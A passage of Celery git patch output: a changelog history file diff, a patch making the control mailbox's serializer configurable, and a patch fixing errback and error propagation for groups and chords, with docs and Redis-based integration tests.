-:release-date: 2020-12-16 5.35 P.M UTC+2:00 -:release-by: Omer Katz - -- Ensure keys are strings when deleting results from S3 (#6537). -- Fix a regression breaking `celery --help` and `celery events` (#6543). - -.. _version-5.0.4: - -5.0.4 -===== -:release-date: 2020-12-08 2.40 P.M UTC+2:00 -:release-by: Omer Katz - -- DummyClient of cache+memory:// backend now shares state between threads (#6524). - - This fixes a problem when using our pytest integration with the in memory - result backend. - Because the state wasn't shared between threads, #6416 results in test suites - hanging on `result.get()`. - -.. _version-5.0.3: - -5.0.3 -===== -:release-date: 2020-12-03 6.30 P.M UTC+2:00 -:release-by: Omer Katz - -- Make `--workdir` eager for early handling (#6457). -- When using the MongoDB backend, don't cleanup if result_expires is 0 or None (#6462). -- Fix passing queues into purge command (#6469). -- Restore `app.start()` and `app.worker_main()` (#6481). -- Detaching no longer creates an extra log file (#6426). -- Result backend instances are now thread local to ensure thread safety (#6416). -- Don't upgrade click to 8.x since click-repl doesn't support it yet. -- Restore preload options (#6516). - -.. _version-5.0.2: - -5.0.2 -===== -:release-date: 2020-11-02 8.00 P.M UTC+2:00 -:release-by: Omer Katz - -- Fix _autodiscover_tasks_from_fixups (#6424). -- Flush worker prints, notably the banner (#6432). -- **Breaking Change**: Remove `ha_policy` from queue definition. (#6440) - - This argument has no effect since RabbitMQ 3.0. - Therefore, We feel comfortable dropping it in a patch release. - -- Python 3.9 support (#6418). -- **Regression**: When using the prefork pool, pick the fair scheduling strategy by default (#6447). -- Preserve callbacks when replacing a task with a chain (#6189). -- Fix max_retries override on `self.retry()` (#6436). -- Raise proper error when replacing with an empty chain (#6452) - -.. _version-5.0.1: - -5.0.1 -===== -:release-date: 2020-10-18 1.00 P.M UTC+3:00 -:release-by: Omer Katz - -- Specify UTF-8 as the encoding for log files (#6357). -- Custom headers now propagate when using the protocol 1 hybrid messages (#6374). -- Retry creating the database schema for the database results backend - in case of a race condition (#6298). -- When using the Redis results backend, awaiting for a chord no longer hangs - when setting :setting:`result_expires` to 0 (#6373). -- When a user tries to specify the app as an option for the subcommand, - a custom error message is displayed (#6363). -- Fix the `--without-gossip`, `--without-mingle`, and `--without-heartbeat` - options which now work as expected. (#6365) -- Provide a clearer error message when the application cannot be loaded. -- Avoid printing deprecation warnings for settings when they are loaded from - Django settings (#6385). -- Allow lowercase log levels for the `--loglevel` option (#6388). -- Detaching now works as expected (#6401). -- Restore broadcasting messages from `celery control` (#6400). -- Pass back real result for single task chains (#6411). -- Ensure group tasks a deeply serialized (#6342). -- Fix chord element counting (#6354). -- Restore the `celery shell` command (#6421). - -.. _version-5.0.0: - -5.0.0 -===== -:release-date: 2020-09-24 6.00 P.M UTC+3:00 -:release-by: Omer Katz - -- **Breaking Change** Remove AMQP result backend (#6360). -- Warn when deprecated settings are used (#6353). -- Expose retry_policy for Redis result backend (#6330). -- Prepare Celery to support the yet to be released Python 3.9 (#6328). - -5.0.0rc3 -======== -:release-date: 2020-09-07 4.00 P.M UTC+3:00 -:release-by: Omer Katz - -- More cleanups of leftover Python 2 support (#6338). - -5.0.0rc2 -======== -:release-date: 2020-09-01 6.30 P.M UTC+3:00 -:release-by: Omer Katz - -- Bump minimum required eventlet version to 0.26.1. -- Update Couchbase Result backend to use SDK V3. -- Restore monkeypatching when gevent or eventlet are used. - -5.0.0rc1 -======== -:release-date: 2020-08-24 9.00 P.M UTC+3:00 -:release-by: Omer Katz - -- Allow to opt out of ordered group results when using the Redis result backend (#6290). -- **Breaking Change** Remove the deprecated celery.utils.encoding module. - -5.0.0b1 -======= -:release-date: 2020-08-19 8.30 P.M UTC+3:00 -:release-by: Omer Katz - -- **Breaking Change** Drop support for the Riak result backend (#5686). -- **Breaking Change** pytest plugin is no longer enabled by default (#6288). - Install pytest-celery to enable it. -- **Breaking Change** Brand new CLI based on Click (#5718). - -5.0.0a2 -======= -:release-date: 2020-08-05 7.15 P.M UTC+3:00 -:release-by: Omer Katz - -- Bump Kombu version to 5.0 (#5686). - -5.0.0a1 -======= -:release-date: 2020-08-02 9.30 P.M UTC+3:00 -:release-by: Omer Katz - -- Removed most of the compatibility code that supports Python 2 (#5686). -- Modernized code to work on Python 3.6 and above (#5686). +- Initial support of python 3.9 added. diff --git a/docs/history/changelog-5.0.rst b/docs/history/changelog-5.0.rst new file mode 100644 index 00000000000..79aa5070c55 --- /dev/null +++ b/docs/history/changelog-5.0.rst @@ -0,0 +1,156 @@ +================ + Change history +================ + +This document contains change notes for bugfix & new features +in the 5.0.x , please see :ref:`whatsnew-5.0` for +an overview of what's new in Celery 5.0. + +.. _version-5.0.5: + +5.0.5 +===== +:release-date: 2020-12-16 5.35 P.M UTC+2:00 +:release-by: Omer Katz + +- Ensure keys are strings when deleting results from S3 (#6537). +- Fix a regression breaking `celery --help` and `celery events` (#6543). + +.. _version-5.0.4: + +5.0.4 +===== +:release-date: 2020-12-08 2.40 P.M UTC+2:00 +:release-by: Omer Katz + +- DummyClient of cache+memory:// backend now shares state between threads (#6524). + + This fixes a problem when using our pytest integration with the in memory + result backend. + Because the state wasn't shared between threads, #6416 results in test suites + hanging on `result.get()`. + +.. _version-5.0.3: + +5.0.3 +===== +:release-date: 2020-12-03 6.30 P.M UTC+2:00 +:release-by: Omer Katz + +- Make `--workdir` eager for early handling (#6457). +- When using the MongoDB backend, don't cleanup if result_expires is 0 or None (#6462). +- Fix passing queues into purge command (#6469). +- Restore `app.start()` and `app.worker_main()` (#6481). +- Detaching no longer creates an extra log file (#6426). +- Result backend instances are now thread local to ensure thread safety (#6416). +- Don't upgrade click to 8.x since click-repl doesn't support it yet. +- Restore preload options (#6516). + +.. _version-5.0.2: + +5.0.2 +===== +:release-date: 2020-11-02 8.00 P.M UTC+2:00 +:release-by: Omer Katz + +- Fix _autodiscover_tasks_from_fixups (#6424). +- Flush worker prints, notably the banner (#6432). +- **Breaking Change**: Remove `ha_policy` from queue definition. (#6440) + + This argument has no effect since RabbitMQ 3.0. + Therefore, We feel comfortable dropping it in a patch release. + +- Python 3.9 support (#6418). +- **Regression**: When using the prefork pool, pick the fair scheduling strategy by default (#6447). +- Preserve callbacks when replacing a task with a chain (#6189). +- Fix max_retries override on `self.retry()` (#6436). +- Raise proper error when replacing with an empty chain (#6452) + +.. _version-5.0.1: + +5.0.1 +===== +:release-date: 2020-10-18 1.00 P.M UTC+3:00 +:release-by: Omer Katz + +- Specify UTF-8 as the encoding for log files (#6357). +- Custom headers now propagate when using the protocol 1 hybrid messages (#6374). +- Retry creating the database schema for the database results backend + in case of a race condition (#6298). +- When using the Redis results backend, awaiting for a chord no longer hangs + when setting :setting:`result_expires` to 0 (#6373). +- When a user tries to specify the app as an option for the subcommand, + a custom error message is displayed (#6363). +- Fix the `--without-gossip`, `--without-mingle`, and `--without-heartbeat` + options which now work as expected. (#6365) +- Provide a clearer error message when the application cannot be loaded. +- Avoid printing deprecation warnings for settings when they are loaded from + Django settings (#6385). +- Allow lowercase log levels for the `--loglevel` option (#6388). +- Detaching now works as expected (#6401). +- Restore broadcasting messages from `celery control` (#6400). +- Pass back real result for single task chains (#6411). +- Ensure group tasks a deeply serialized (#6342). +- Fix chord element counting (#6354). +- Restore the `celery shell` command (#6421). + +.. _version-5.0.0: + +5.0.0 +===== +:release-date: 2020-09-24 6.00 P.M UTC+3:00 +:release-by: Omer Katz + +- **Breaking Change** Remove AMQP result backend (#6360). +- Warn when deprecated settings are used (#6353). +- Expose retry_policy for Redis result backend (#6330). +- Prepare Celery to support the yet to be released Python 3.9 (#6328). + +5.0.0rc3 +======== +:release-date: 2020-09-07 4.00 P.M UTC+3:00 +:release-by: Omer Katz + +- More cleanups of leftover Python 2 support (#6338). + +5.0.0rc2 +======== +:release-date: 2020-09-01 6.30 P.M UTC+3:00 +:release-by: Omer Katz + +- Bump minimum required eventlet version to 0.26.1. +- Update Couchbase Result backend to use SDK V3. +- Restore monkeypatching when gevent or eventlet are used. + +5.0.0rc1 +======== +:release-date: 2020-08-24 9.00 P.M UTC+3:00 +:release-by: Omer Katz + +- Allow to opt out of ordered group results when using the Redis result backend (#6290). +- **Breaking Change** Remove the deprecated celery.utils.encoding module. + +5.0.0b1 +======= +:release-date: 2020-08-19 8.30 P.M UTC+3:00 +:release-by: Omer Katz + +- **Breaking Change** Drop support for the Riak result backend (#5686). +- **Breaking Change** pytest plugin is no longer enabled by default (#6288). + Install pytest-celery to enable it. +- **Breaking Change** Brand new CLI based on Click (#5718). + +5.0.0a2 +======= +:release-date: 2020-08-05 7.15 P.M UTC+3:00 +:release-by: Omer Katz + +- Bump Kombu version to 5.0 (#5686). + +5.0.0a1 +======= +:release-date: 2020-08-02 9.30 P.M UTC+3:00 +:release-by: Omer Katz + +- Removed most of the compatibility code that supports Python 2 (#5686). +- Modernized code to work on Python 3.6 and above (#5686). From 426a8f97e9f7dd19905ec624182b6d4a61bc245e Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Thu, 6 May 2021 15:47:54 +0200 Subject: [PATCH 222/415] Celery Mailbox accept and serializer parameters are initialized from configuration (#6757) --- celery/app/control.py | 3 ++- t/unit/app/test_control.py | 6 ++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/celery/app/control.py b/celery/app/control.py index a35f5cec246..05b7012ac3d 100644 --- a/celery/app/control.py +++ b/celery/app/control.py @@ -431,7 +431,8 @@ def __init__(self, app=None): self.mailbox = self.Mailbox( app.conf.control_exchange, type='fanout', - accept=['json'], + accept=app.conf.accept_content, + serializer=app.conf.task_serializer, producer_pool=lazy(lambda: self.app.amqp.producer_pool), queue_ttl=app.conf.control_queue_ttl, reply_queue_ttl=app.conf.control_queue_ttl, diff --git a/t/unit/app/test_control.py b/t/unit/app/test_control.py index 5757af757b0..2a80138c09b 100644 --- a/t/unit/app/test_control.py +++ b/t/unit/app/test_control.py @@ -241,6 +241,12 @@ def assert_control_called_with_args(self, name, destination=None, self.app.control.broadcast.assert_called_with( name, destination=destination, arguments=args, **_options or {}) + def test_serializer(self): + self.app.conf['task_serializer'] = 'test' + self.app.conf['accept_content'] = ['test'] + assert control.Control(self.app).mailbox.serializer == 'test' + assert control.Control(self.app).mailbox.accept == ['test'] + def test_purge(self): self.app.amqp.TaskConsumer = Mock(name='TaskConsumer') self.app.control.purge() From 6dd385258297c89843bfe73299e5f7eebf0e98e2 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Sat, 8 May 2021 22:19:27 +1000 Subject: [PATCH 223/415] fix: Error propagation and errback calling for group-like signatures (#6746) * fix: Use chord kwarg over request in group.apply * fix: Propagate errors from failed chain tasks Fixes #6220 Co-authored-by: Maximilian Friedersdorff Co-authored-by: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> * fix: Ensure all subtasks of a group get errbacks Giving a linked task callback to the 0th task in a group is fine, but for errbacks it's not an appropriate choice since any task in the group could fail. This ensures that if any task other than the 0th one fails, the errback will be called. This opens the possibility for an errback to be called more than once when linked to a group, but generally we expect that they should be design to be idempotent so no warning is issued for the changed behaviour. * test: Add tests for child error propagation * test: Add regression tests for group errback dupes These tests simply encode the currently expected behaviour where errbacks linked to a group will be called once for each failed task, as well as the consequences for chords which turn their header into a group if it is not one already. * doc: Add extra docs for canvas call/errback usage Co-authored-by: Crawford, Jordan Co-authored-by: Maximilian Friedersdorff --- celery/backends/base.py | 37 +++ celery/canvas.py | 11 +- docs/userguide/canvas.rst | 52 +++++ t/integration/tasks.py | 7 + t/integration/test_canvas.py | 436 ++++++++++++++++++++++++++++++++++- t/unit/tasks/test_canvas.py | 2 +- 6 files changed, 541 insertions(+), 4 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index fdec6d58f46..7d4fbbdc3b7 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -22,6 +22,7 @@ import celery.exceptions from celery import current_app, group, maybe_signature, states from celery._state import get_current_task +from celery.app.task import Context from celery.exceptions import (BackendGetMetaError, BackendStoreError, ChordError, ImproperlyConfigured, NotRegistered, TaskRevokedError, TimeoutError) @@ -170,8 +171,44 @@ def mark_as_failure(self, task_id, exc, self.store_result(task_id, exc, state, traceback=traceback, request=request) if request: + # This task may be part of a chord if request.chord: self.on_chord_part_return(request, state, exc) + # It might also have chained tasks which need to be propagated to, + # this is most likely to be exclusive with being a direct part of a + # chord but we'll handle both cases separately. + # + # The `chain_data` try block here is a bit tortured since we might + # have non-iterable objects here in tests and it's easier this way. + try: + chain_data = iter(request.chain) + except (AttributeError, TypeError): + chain_data = tuple() + for chain_elem in chain_data: + chain_elem_opts = chain_elem['options'] + # If the state should be propagated, we'll do so for all + # elements of the chain. This is only truly important so + # that the last chain element which controls completion of + # the chain itself is marked as completed to avoid stalls. + if self.store_result and state in states.PROPAGATE_STATES: + try: + chained_task_id = chain_elem_opts['task_id'] + except KeyError: + pass + else: + self.store_result( + chained_task_id, exc, state, + traceback=traceback, request=chain_elem + ) + # If the chain element is a member of a chord, we also need + # to call `on_chord_part_return()` as well to avoid stalls. + if 'chord' in chain_elem_opts: + failed_ctx = Context(chain_elem) + failed_ctx.update(failed_ctx.options) + failed_ctx.id = failed_ctx.options['task_id'] + failed_ctx.group = failed_ctx.options['group_id'] + self.on_chord_part_return(failed_ctx, state, exc) + # And finally we'll fire any errbacks if call_errbacks and request.errbacks: self._call_task_errbacks(request, exc, traceback) diff --git a/celery/canvas.py b/celery/canvas.py index a80e979af96..9b32e832fd0 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1134,7 +1134,14 @@ def link_error(self, sig): # pass a Mock object as argument. sig['immutable'] = True sig = Signature.from_dict(sig) - return self.tasks[0].link_error(sig) + # Any child task might error so we need to ensure that they are all + # capable of calling the linked error signature. This opens the + # possibility that the task is called more than once but that's better + # than it not being called at all. + # + # We return a concretised tuple of the signatures actually applied to + # each child task signature, of which there might be none! + return tuple(child_task.link_error(sig) for child_task in self.tasks) def _prepared(self, tasks, partial_args, group_id, root_id, app, CallableSignature=abstract.CallableSignature, @@ -1179,7 +1186,7 @@ def _apply_tasks(self, tasks, producer=None, app=None, p=None, # end up messing up chord counts and there are all sorts of # awful race conditions to think about. We'll hope it's not! sig, res, group_id = current_task - chord_obj = sig.options.get("chord") or chord + chord_obj = chord if chord is not None else sig.options.get("chord") # We need to check the chord size of each contributing task so # that when we get to the final one, we can correctly set the # size in the backend and the chord can be sensible completed. diff --git a/docs/userguide/canvas.rst b/docs/userguide/canvas.rst index 55811f2fbe0..45912a6d2c9 100644 --- a/docs/userguide/canvas.rst +++ b/docs/userguide/canvas.rst @@ -688,6 +688,52 @@ Group also supports iterators: A group is a signature object, so it can be used in combination with other signatures. +.. _group-callbacks: + +Group Callbacks and Error Handling +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Groups can have callback and errback signatures linked to them as well, however +the behaviour can be somewhat surprising due to the fact that groups are not +real tasks and simply pass linked tasks down to their encapsulated signatures. +This means that the return values of a group are not collected to be passed to +a linked callback signature. +As an example, the following snippet using a simple `add(a, b)` task is faulty +since the linked `add.s()` signature will not received the finalised group +result as one might expect. + +.. code-block:: pycon + + >>> g = group(add.s(2, 2), add.s(4, 4)) + >>> g.link(add.s()) + >>> res = g() + [4, 8] + +Note that the finalised results of the first two tasks are returned, but the +callback signature will have run in the background and raised an exception +since it did not receive the two arguments it expects. + +Group errbacks are passed down to encapsulated signatures as well which opens +the possibility for an errback linked only once to be called more than once if +multiple tasks in a group were to fail. +As an example, the following snippet using a `fail()` task which raises an +exception can be expected to invoke the `log_error()` signature once for each +failing task which gets run in the group. + +.. code-block:: pycon + + >>> g = group(fail.s(), fail.s()) + >>> g.link_error(log_error.s()) + >>> res = g() + +With this in mind, it's generally advisable to create idempotent or counting +tasks which are tolerant to being called repeatedly for use as errbacks. + +These use cases are better addressed by the :class:`~celery.chord` class which +is supported on certain backend implementations. + +.. _group-results: + Group Results ~~~~~~~~~~~~~ @@ -884,6 +930,12 @@ an errback to the chord callback: >>> c = (group(add.s(i, i) for i in range(10)) | ... xsum.s().on_error(on_chord_error.s())).delay() +Chords may have callback and errback signatures linked to them, which addresses +some of the issues with linking signatures to groups. +Doing so will link the provided signature to the chord's body which can be +expected to gracefully invoke callbacks just once upon completion of the body, +or errbacks just once if any task in the chord header or body fails. + .. _chord-important-notes: Important Notes diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 4e88bcd880a..d1b825fcf53 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -223,6 +223,13 @@ def redis_echo(message): redis_connection.rpush('redis-echo', message) +@shared_task +def redis_count(): + """Task that increments a well-known redis key.""" + redis_connection = get_redis_connection() + redis_connection.incr('redis-count') + + @shared_task(bind=True) def second_order_replace1(self, state=False): redis_connection = get_redis_connection() diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 28560e33e64..02beb8550d4 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1,9 +1,11 @@ import re import tempfile +import uuid from datetime import datetime, timedelta from time import sleep import pytest +import pytest_subtests # noqa: F401 from celery import chain, chord, group, signature from celery.backends.base import BaseKeyValueStoreBackend @@ -17,7 +19,7 @@ add_to_all, add_to_all_to_chord, build_chain_inside_task, chord_error, collect_ids, delayed_sum, delayed_sum_with_soft_guard, fail, identity, ids, - print_unicode, raise_error, redis_echo, + print_unicode, raise_error, redis_count, redis_echo, replace_with_chain, replace_with_chain_which_raises, replace_with_empty_chain, retry_once, return_exception, return_priority, second_order_replace1, tsum, @@ -810,6 +812,109 @@ def test_nested_group_chord_body_chain(self, manager): # Re-raise the expected exception so this test will XFAIL raise expected_excinfo.value + def test_callback_called_by_group(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + callback_msg = str(uuid.uuid4()).encode() + callback = redis_echo.si(callback_msg) + + group_sig = group(identity.si(42), identity.si(1337)) + group_sig.link(callback) + redis_connection.delete("redis-echo") + with subtests.test(msg="Group result is returned"): + res = group_sig.delay() + assert res.get(timeout=TIMEOUT) == [42, 1337] + with subtests.test(msg="Callback is called after group is completed"): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Callback was not called in time") + _, msg = maybe_key_msg + assert msg == callback_msg + + def test_errback_called_by_group_fail_first(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback_msg = str(uuid.uuid4()).encode() + errback = redis_echo.si(errback_msg) + + group_sig = group(fail.s(), identity.si(42)) + group_sig.link_error(errback) + redis_connection.delete("redis-echo") + with subtests.test(msg="Error propagates from group"): + res = group_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after group task fails"): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + def test_errback_called_by_group_fail_last(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback_msg = str(uuid.uuid4()).encode() + errback = redis_echo.si(errback_msg) + + group_sig = group(identity.si(42), fail.s()) + group_sig.link_error(errback) + redis_connection.delete("redis-echo") + with subtests.test(msg="Error propagates from group"): + res = group_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after group task fails"): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + def test_errback_called_by_group_fail_multiple(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + expected_errback_count = 42 + errback = redis_count.si() + + # Include a mix of passing and failing tasks + group_sig = group( + *(identity.si(42) for _ in range(24)), # arbitrary task count + *(fail.s() for _ in range(expected_errback_count)), + ) + group_sig.link_error(errback) + redis_connection.delete("redis-count") + with subtests.test(msg="Error propagates from group"): + res = group_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after group task fails"): + check_interval = 0.1 + check_max = int(TIMEOUT * check_interval) + for i in range(check_max + 1): + maybe_count = redis_connection.get("redis-count") + # It's either `None` or a base-10 integer + count = int(maybe_count or b"0") + if count == expected_errback_count: + # escape and pass + break + elif i < check_max: + # try again later + sleep(check_interval) + else: + # fail + assert count == expected_errback_count + else: + raise TimeoutError("Errbacks were not called in time") + def assert_ids(r, expected_value, expected_root_id, expected_parent_id): root_id, parent_id, value = r.get(timeout=TIMEOUT) @@ -1406,6 +1511,335 @@ def test_error_propagates_from_chord2(self, manager): with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) + def test_error_propagates_to_chord_from_simple(self, manager, subtests): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + child_sig = fail.s() + + chord_sig = chord((child_sig, ), identity.s()) + with subtests.test(msg="Error propagates from simple header task"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + chord_sig = chord((identity.si(42), ), child_sig) + with subtests.test(msg="Error propagates from simple body task"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + def test_errback_called_by_chord_from_simple(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback_msg = str(uuid.uuid4()).encode() + errback = redis_echo.si(errback_msg) + child_sig = fail.s() + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + with subtests.test(msg="Error propagates from simple header task"): + redis_connection.delete("redis-echo") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after simple header task fails" + ): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + with subtests.test(msg="Error propagates from simple body task"): + redis_connection.delete("redis-echo") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after simple body task fails" + ): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + def test_error_propagates_to_chord_from_chain(self, manager, subtests): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + child_sig = chain(identity.si(42), fail.s(), identity.si(42)) + + chord_sig = chord((child_sig, ), identity.s()) + with subtests.test( + msg="Error propagates from header chain which fails before the end" + ): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + chord_sig = chord((identity.si(42), ), child_sig) + with subtests.test( + msg="Error propagates from body chain which fails before the end" + ): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + def test_errback_called_by_chord_from_chain(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback_msg = str(uuid.uuid4()).encode() + errback = redis_echo.si(errback_msg) + child_sig = chain(identity.si(42), fail.s(), identity.si(42)) + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + with subtests.test( + msg="Error propagates from header chain which fails before the end" + ): + redis_connection.delete("redis-echo") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after header chain which fails before the end" + ): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + with subtests.test( + msg="Error propagates from body chain which fails before the end" + ): + redis_connection.delete("redis-echo") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after body chain which fails before the end" + ): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + def test_error_propagates_to_chord_from_chain_tail(self, manager, subtests): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + child_sig = chain(identity.si(42), fail.s()) + + chord_sig = chord((child_sig, ), identity.s()) + with subtests.test( + msg="Error propagates from header chain which fails at the end" + ): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + chord_sig = chord((identity.si(42), ), child_sig) + with subtests.test( + msg="Error propagates from body chain which fails at the end" + ): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + def test_errback_called_by_chord_from_chain_tail(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback_msg = str(uuid.uuid4()).encode() + errback = redis_echo.si(errback_msg) + child_sig = chain(identity.si(42), fail.s()) + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + with subtests.test( + msg="Error propagates from header chain which fails at the end" + ): + redis_connection.delete("redis-echo") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after header chain which fails at the end" + ): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + with subtests.test( + msg="Error propagates from body chain which fails at the end" + ): + redis_connection.delete("redis-echo") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after body chain which fails at the end" + ): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + def test_error_propagates_to_chord_from_group(self, manager, subtests): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + child_sig = group(identity.si(42), fail.s()) + + chord_sig = chord((child_sig, ), identity.s()) + with subtests.test(msg="Error propagates from header group"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + chord_sig = chord((identity.si(42), ), child_sig) + with subtests.test(msg="Error propagates from body group"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + def test_errback_called_by_chord_from_group(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback_msg = str(uuid.uuid4()).encode() + errback = redis_echo.si(errback_msg) + child_sig = group(identity.si(42), fail.s()) + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + with subtests.test(msg="Error propagates from header group"): + redis_connection.delete("redis-echo") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after header group fails"): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + with subtests.test(msg="Error propagates from body group"): + redis_connection.delete("redis-echo") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after body group fails"): + maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) + if maybe_key_msg is None: + raise TimeoutError("Errback was not called in time") + _, msg = maybe_key_msg + assert msg == errback_msg + + def test_errback_called_by_chord_from_group_fail_multiple( + self, manager, subtests + ): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + fail_task_count = 42 + errback = redis_count.si() + # Include a mix of passing and failing tasks + child_sig = group( + *(identity.si(42) for _ in range(24)), # arbitrary task count + *(fail.s() for _ in range(fail_task_count)), + ) + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + with subtests.test(msg="Error propagates from header group"): + redis_connection.delete("redis-count") + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after header group fails"): + # NOTE: Here we only expect the errback to be called once since it + # is attached to the chord body which is a single task! + expected_errback_count = 1 + check_interval = 0.1 + check_max = int(TIMEOUT * check_interval) + for i in range(check_max + 1): + maybe_count = redis_connection.get("redis-count") + # It's either `None` or a base-10 integer + count = int(maybe_count or b"0") + if count == expected_errback_count: + # escape and pass + break + elif i < check_max: + # try again later + sleep(check_interval) + else: + # fail + assert count == expected_errback_count + else: + raise TimeoutError("Errbacks were not called in time") + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + with subtests.test(msg="Error propagates from body group"): + redis_connection.delete("redis-count") + res = chord_sig.delay() + with 